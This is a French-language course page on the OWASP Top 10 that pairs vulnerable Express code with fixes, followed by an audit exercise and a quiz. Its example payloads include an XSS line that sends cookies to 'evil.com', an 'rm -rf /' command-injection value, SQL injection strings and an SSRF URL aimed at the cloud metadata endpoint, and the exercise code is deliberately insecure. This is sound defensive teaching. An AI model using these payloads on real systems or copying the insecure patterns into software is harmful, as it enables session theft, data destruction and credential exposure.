Les 10 principales failles de sécurité (OWASP Top 10)
Comprendre les risques de sécurité web les plus critiques, savoir les détecter dans le code, et appliquer les corrections standards. Le minimum vital pour mettre du code en prod.
À la fin du cours, tu sais
- Connaître les 10 risques OWASP majeurs et savoir les nommer
- Détecter une injection SQL, un XSS ou un IDOR dans un extrait de code
- Appliquer les corrections standards (paramètres, hashing, headers, cookies)
- Mettre en place les bons outils en CI (npm audit, helmet, Dependabot)
- Pratiquer le threat modeling avant d'écrire la première ligne
Prérequis
- Connaître HTTP, les requêtes et les cookies
- Avoir développé une mini-app back ou front
Chapitre 1
Comprendre OWASP et le Top 10
Avant de plonger dans les failles, savoir d'où vient ce classement et à quoi il sert vraiment.
Qu'est-ce que l'OWASP
- OWASP = Open Worldwide Application Security Project, fondation à but non lucratif
- Publie des standards de sécurité applicative gratuits et open source
- Le Top 10 est mis à jour environ tous les 4 ans (2017, 2021, 2025 en cours)
- Cible : les risques applicatifs, pas les failles d'infra ou de réseau
Version actuelle
Ressources gratuites OWASP
- Cheat Sheets : antisèches pratiques par sujet (XSS, CSRF, JWT...)
- ASVS : Application Security Verification Standard, une checklist détaillée
- ZAP : scanner de vulnérabilités open source, équivalent gratuit de Burp Suite
- Threat Dragon : outil de threat modeling
Chapitre 2
A01 · Broken Access Control
Numéro 1 du classement. Un·e utilisateur·ice peut faire ce qu'il ne devrait pas pouvoir faire : voir les données d'un autre compte, escalader ses privilèges, accéder à une API admin.
Les patterns courants
- IDOR (Insecure Direct Object Reference) : accéder à
/api/users/42alors qu'on est l'utilisateur 7 - Élévation horizontale : accéder aux données d'un autre user du même niveau
- Élévation verticale : passer de user à admin
- Modifications non autorisées : modifier les données d'un·e autre via une requête forgée
app.get('/api/invoice/:id', (req, res) => {
res.json(db.invoice.find(req.params.id));
});app.get('/api/invoice/:id', requireAuth, (req, res) => {
const inv = db.invoice.find(req.params.id);
if (!inv) return res.sendStatus(404);
if (inv.ownerId !== req.user.id) return res.sendStatus(403);
res.json(inv);
});La règle absolue
Chapitre 3
A02 · Cryptographic Failures
Tout ce qui touche aux données sensibles : en transit (HTTPS) et au repos (chiffrement, hashing).
Les fondamentaux
- HTTPS partout, HSTS activé pour forcer le HTTPS
- Hasher les mots de passe avec bcrypt, argon2 ou scrypt
- Ne jamais utiliser MD5 ou SHA1 pour des mots de passe (trop rapides, vulnérables aux rainbow tables)
- Ne pas inventer ta crypto : utilise les libs standard (libsodium, Web Crypto API)
- Aucun secret en clair dans le repo ni dans les logs
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12);
// Comparaison à la connexion
const ok = await bcrypt.compare(passwordFourni, hashStocke);Pourquoi un cost de 12
bcrypt.hash est le cost factor. Plus il est élevé, plus c'est lent (donc résistant au brute force) mais plus ton serveur dépense de CPU. 10-12 est un bon compromis en 2025.Chapitre 4
A03 · Injection (SQL, OS, XSS)
L'attaquant glisse du code malveillant dans une entrée utilisateur, qui sera ensuite interprété comme du code. Trois grandes familles.
Injection SQL
db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`);
// Email = "' OR 1=1 --" → renvoie TOUS les usersdb.query('SELECT * FROM users WHERE email = ?', [req.body.email]);Cross-Site Scripting (XSS)
Injecter du JS dans le DOM via une entrée non échappée. L'attaquant peut alors voler des cookies, exécuter du code dans le navigateur de la victime.
res.send(`<p>Bonjour ${req.query.name}</p>`);
// name = "<script>fetch('//evil.com?c='+document.cookie)</script>"import escapeHtml from 'escape-html';
res.send(`<p>Bonjour ${escapeHtml(req.query.name)}</p>`);
// Avec React/Vue/Svelte, l'échappement est automatique :
// <p>Bonjour {name}</p>OS Command Injection
Quand tu construis une commande shell avec une input utilisateur. exec('ping ' + req.body.host) avec host = '127.0.0.1; rm -rf /' = catastrophe.
La règle universelle
spawn avec args, pas exec).Chapitre 5
A04 · Insecure Design
Une faille pensée dès l'architecture, pas un bug isolé. La plus difficile à corriger après coup.
Exemples concrets
- Récupération de mot de passe par questions secrètes (nom de jeune fille, ville de naissance) : facile à deviner via réseaux sociaux
- Pas de rate limiting sur les endpoints sensibles (login, reset password) : brute force possible
- Workflows métier qui contournent la sécurité : un coupon de réduction utilisable plusieurs fois si l'utilisateur·ice rejoue la requête
- Pas de vérification de cohérence : ajouter au panier une quantité négative pour déduire du total
Threat modeling : penser comme un attaquant
Au démarrage d'une feature, prends 30 minutes pour lister : quelles sont les ressources sensibles, qui peut y accéder, par où un attaquant pourrait passer, quelles mitigations. Le framework STRIDE (Spoofing, Tampering, Repudiation, Info disclosure, DoS, Elevation) est un bon point de départ.
Abuse cases
Pour chaque user story, ajoute des abuse cases : « En tant qu'attaquant, je veux contourner X ». Ça pousse à concevoir des protections dès le départ, pas après l'incident.
Chapitre 6
A05 et A06 · Configuration et composants vulnérables
Deux failles voisines liées à l'environnement et aux dépendances. Souvent les plus faciles à corriger.
A05 · Security Misconfiguration
- Ports ouverts inutilement (admin DB exposé sur internet)
- Comptes par défaut laissés actifs (
admin / admin) - Messages d'erreur trop bavards en prod (stack trace complète, version du framework)
- Headers de sécurité manquants (CSP, X-Frame-Options, X-Content-Type-Options)
- CORS ouvert à
*sur des endpoints sensibles
import express from 'express';
import helmet from 'helmet';
const app = express();
// Active une douzaine de headers de sécurité par défaut
app.use(helmet());
// CSP plus stricte
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
},
}));A06 · Vulnerable & Outdated Components
- Dépendances avec des CVE connues non patchées
- Anciennes versions de Node, runtime, framework
- Libs non maintenues (commit le plus récent il y a 3 ans)
# Scanner les vulnérabilités connues
npm audit
npm audit --audit-level=high
# En CI, bloquer si vulnérabilité haute
npm audit --audit-level=high --omit=dev
# Outils alternatifs / complémentaires
npx snyk test
npx trivy fs .Dependabot et Renovate
Chapitre 7
A07 · Identification et Authentification défaillantes
Tout ce qui touche au login, à la session, et à la gestion des identités.
Les écueils classiques
- Mots de passe faibles autorisés (
123456,password) - Pas de MFA (Multi-Factor Authentication) sur les comptes sensibles
- Sessions sans expiration, ou identifiants prévisibles
- Brute force possible faute de rate limiting
- Cookies de session sans
HttpOnly,Secure,SameSite - Énumération de comptes : « utilisateur·ice inconnu·e » vs « mot de passe incorrect »
res.cookie('sid', token);
// Pas HttpOnly : le JS de la page peut le lire (XSS = vol de session)
// Pas Secure : envoyé même en HTTP
// Pas SameSite : vulnérable au CSRFres.cookie('sid', token, {
httpOnly: true, // Inaccessible en JS
secure: true, // HTTPS uniquement
sameSite: 'lax', // Mitige le CSRF
maxAge: 1000 * 60 * 60 * 8, // 8h max
});Rate limiting sur le login
Chapitre 8
A08, A09, A10 · Intégrité, logs et SSRF
Trois risques plus récents mais critiques en environnement cloud moderne.
A08 · Software and Data Integrity
- Pipelines CI/CD non signés : un attaquant injecte du code via une action GitHub compromise
- Dépendances tirées sans vérification d'intégrité (pas de
package-lock.jsoncommité) - Désérialisation non sûre (JSON.parse avec un
reviverqui exécute du code)
Mitigations : commits signés (GPG ou SSH), package-lock.json en lecture seule en CI (npm ci), pinning des actions GitHub par SHA, Subresource Integrity (SRI) sur les scripts tiers.
A09 · Security Logging and Monitoring Failures
- Pas de log sur les échecs d'auth, les changements de droits, les opérations sensibles
- Pas d'alerte sur comportement anormal (1000 tentatives de login en 1 minute)
- Logs stockés mais jamais relus
Que logger
A10 · Server-Side Request Forgery (SSRF)
Ton serveur fait une requête HTTP vers une URL fournie par un·e utilisateur·ice (preview de lien, import de fichier distant). L'attaquant pointe vers une URL interne à laquelle ton serveur a accès, mais pas le public.
// User envoie : url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
// → URL spéciale AWS, renvoie les credentials de l'instance EC2 !
const response = await fetch(req.body.url); // Vulnérable
res.send(await response.text());const url = new URL(req.body.url);
// Whitelist de domaines autorisés
const ALLOWED_HOSTS = ['api.exemple.fr', 'cdn.exemple.fr'];
if (!ALLOWED_HOSTS.includes(url.hostname)) {
return res.sendStatus(400);
}
// Bloquer les IP privées (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x)
// Utiliser la lib 'ipaddr.js' pour ça
const response = await fetch(url);
res.send(await response.text());🛠️ Exercice optionnel
Trouver les failles dans une mini-app Express
Un junior te fait relire son code. À toi de jouer le rôle d'auditeur sécurité : combien de failles trouves-tu, et comment les corriges-tu ?
Ta mission
Code à auditer :
const express = require('express');
const app = express();
app.use(express.json());
app.get('/search', (req, res) => {
const q = req.query.q;
db.query("SELECT * FROM products WHERE name LIKE '%" + q + "%'", (err, rows) => {
res.send(`<h1>Résultats pour ${q}</h1>` + JSON.stringify(rows));
});
});
app.post('/login', (req, res) => {
const { user, pass } = req.body;
db.query(`SELECT * FROM users WHERE u='${user}' AND p='${pass}'`, (err, rows) => {
if (rows.length) res.cookie('sid', user).send('ok');
});
});
app.listen(3000);
- Identifie au moins 5 failles (cite les A0X correspondants du Top 10).
- Réécris le code avec les corrections appropriées.
- Liste 2 mitigations de design qui ne sont pas dans le code mais que tu recommanderais.
Tu bloques ? Des indices, à dévoiler quand tu en as besoin.
Indice 1
Indice masqué.
Indice 2
Indice masqué.
Indice 3
Indice masqué.
✅ QCM de fin de cours
Teste tes acquis
10 questions, plusieurs réponses parfois possibles. Coche tout ce qui te semble juste, puis valide pour voir ton score et les explications.
- 1
À quoi sert l'OWASP Top 10 ?
- 2
Quelle est la faille n°1 du Top 10 2021 ?
- 3
Quel algorithme pour hasher un mot de passe ?
- 4
Comment empêcher une injection SQL ?
- 5
Quel header HTTP limite le risque d'XSS ?
- 6
Que fait le flag
httpOnlysur un cookie ? - 7
Quelle commande détecte les dépendances vulnérables en Node.js ?
- 8
Une SSRF, qu'est-ce que c'est ?
- 9
MFA signifie ?
- 10
À quelle étape du cycle de vie corrige-t-on principalement l'Insecure Design (A04) ?
Tu peux laisser des questions sans réponse, elles compteront comme fausses.
Tu veux ce cours pour ton équipe ?
Je peux adapter et animer ce cours pour tes formateur·ices ou tes apprenant·es, en présentiel ou en distanciel. Parlons-en pendant l'audit gratuit.
Réserver un audit gratuit →